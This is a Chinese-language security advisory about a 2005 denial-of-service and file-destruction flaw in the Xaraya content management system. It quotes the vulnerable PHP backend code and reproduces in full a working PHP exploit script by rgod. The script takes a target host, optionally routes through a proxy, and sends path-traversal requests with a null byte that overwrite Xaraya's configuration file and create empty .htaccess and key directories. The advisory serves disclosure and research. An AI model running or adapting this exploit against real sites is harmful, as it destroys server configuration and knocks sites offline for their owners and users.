安全研究

安全漏洞
Xaraya拒绝服务/文件破坏漏洞

发布日期:2005-11-30
更新日期:2005-11-30

受影响系统:
Xaraya Xaraya <=1.0.0 RC4
Xaraya Xaraya
描述:
BUGTRAQ  ID: 15623

Xaraya是一套优秀的内容管理系统。

Xaraya的fopen()中存在文件破坏漏洞,可能导致拒绝服务。xarMLSXML2PHPBackend.php中的漏洞代码如下:

...
   function create($ctxType, $ctxName)
    {
        assert('!empty($this->baseDir)');
        assert('!empty($this->baseXMLDir)');
        $this->fileName = $this->baseDir;
        $this->xmlFileName = $this->baseXMLDir;

        if (!ereg("^[a-z]+:$", $ctxType)) {
            list($prefix,$directory) = explode(':',$ctxType);
            if ($directory != "") {
                $this->fileName .= $directory . "/";
                $this->xmlFileName .= $directory . "/";
            }
        }

        $dirForMkDir = $this->fileName;
        if (!file_exists($dirForMkDir)) xarMLS__mkdirr($dirForMkDir, 0777);

        $this->fileName .= $ctxName . ".php";
        $this->xmlFileName .= $ctxName . ".xml";

        $xmlFileExists = false;
        if (file_exists($this->xmlFileName)) {
            if (!($fp1 = fopen($this->xmlFileName, "r"))) {
                xarLogMessage("Could not open XML input: ".$this->xmlFileName);
            }
            $data = fread($fp1, filesize($this->xmlFileName));
            fclose($fp1);
            $xml_parser = xml_parser_create();
            xml_parse_into_struct($xml_parser, $data, $vals, $index);
            xml_parser_free($xml_parser);
            $xmlFileExists = true;
        } else {
            xarLogMessage("MLS Could not find XML input: ".$this->xmlFileName);
        }

        $fp2 = @fopen ($this->fileName, "w" );
        if ($fp2 !== false) {
            fputs($fp2, '<?php'."\n");
            fputs($fp2, 'global $xarML_PHPBackend_entries;'."\n");
            fputs($fp2, 'global $xarML_PHPBackend_keyEntries;'."\n");
            if ($xmlFileExists) {
                foreach ($vals as $node) {
                    if (!array_key_exists('tag',$node)) continue;
                    if (!array_key_exists('value',$node)) $node['value'] = '';
                    if ($node['tag'] == 'STRING') {
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        $start = '$xarML_PHPBackend_entries[\''.$node['value']."']";
                    } elseif ($node['tag'] == 'KEY') {
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        $start = \
'$xarML_PHPBackend_keyEntries[\''.$node['value']."']";  } elseif ($node['tag'] == \
'TRANSLATION') {  if ($this->outCharset != 'utf-8') {
                            $node['value'] = \
$GLOBALS['xarMLS_newEncoding']->convert($node['value'], 'utf-8', $this->outCharset, \
0);  }
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        if (!empty($node['value'])) {
                            fputs($fp2, $start . " = '".$node['value']."';\n");
                        }
                    }
                 }
            }
            fputs($fp2, "?>");
            fclose($fp2);
        } else {
            xarLogMessage("Could not create file: ".$this->fileName);
            global $xarML_PHPBackend_entries;
            global $xarML_PHPBackend_keyEntries;
            if ($xmlFileExists) {
                foreach ($vals as $node) {
                    if (!array_key_exists('tag',$node)) continue;
                    if (!array_key_exists('value',$node)) $node['value'] = '';
                    if ($node['tag'] == 'STRING') {
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        $entryIndex = $node['value'];
                        $entryType = 'string';
                    } elseif ($node['tag'] == 'KEY') {
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        $entryIndex = $node['value'];
                        $entryType = 'key';
                    } elseif ($node['tag'] == 'TRANSLATION') {
                        if ($this->outCharset != 'utf-8') {
                            $node['value'] = \
$GLOBALS['xarMLS_newEncoding']->convert($node['value'], 'utf-8', $this->outCharset, \
0);  }
                        $node['value'] = str_replace('\'', '\\\'', $node['value']);
                        if ($entryType == 'string') {
                            $xarML_PHPBackend_entries[$entryIndex] = $node['value'];
                        } elseif ($entryType == 'key') {
                            $xarML_PHPBackend_keyEntries[$entryIndex] = \
$node['value'];  }
                    }
                 }
            }
        }

        return true;
    }
}
?>

<*来源:rgod (rgod@autistici.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=113339120619644&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
#                                                                              #
#                         Xaraya <=1.0.0 RC4 D.O.S                             #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Hold out baits to entice the enemy. Feign disorder,               #
#  and crush him."                                                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ******** Xaraya <=1.0.0 rc4 Denial of Service *********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********** Xaraya <=1.0.0 rc4 Denial of Service ******** </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/xaraya/  or just / ) </span></p></p><p> <input type="text" name="port">   <span
class="Stile5">specify  a  port   other than  80 ( default  value ) </span> </p>
<p>  <input  type="text"   name="proxy"><span class="Stile5">  send  exploit
through an  HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
                }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
                }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
                      //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
          else
          {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
           {
             $result = socket_connect($socket, $host, $port);
           }
           else
           {

           $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
           $result = socket_connect($socket, $parts[0],$parts[1]);
           }
           if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
                           else
                            {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

                    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
            die; }
      }
             else
           {
       $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
       $parts=explode(':',$proxy);
        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) { echo 'No response from proxy...';
            die;
               }
       }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$proxy=$_POST[proxy];

if (($host<>'') and ($path<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage

  $request[0]="index.php?module=".$KEYFILE;
  $request[1]="index.php?module=".$HTACCESS;
  $request[2]="index.php?module=".$CONFIGFILE;
  $request[3]="index.php";

  for($i=0; $i<=count($request)-1; $i++)
  {
    $packet="GET ".$p.$request[$i]." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Zoo Tycoon 2 Client\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
  }
  if (eregi('fatal error',$html)) {echo "Exploit succeeded...";}
                                      else   {echo "Exploit failed...";}
  }
else
  {echo "Fill * required fields, optionally specify a proxy";}
?>

# milw0rm.com [2005-11-29]

建议:
厂商补丁:

Xaraya
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.xaraya.com/

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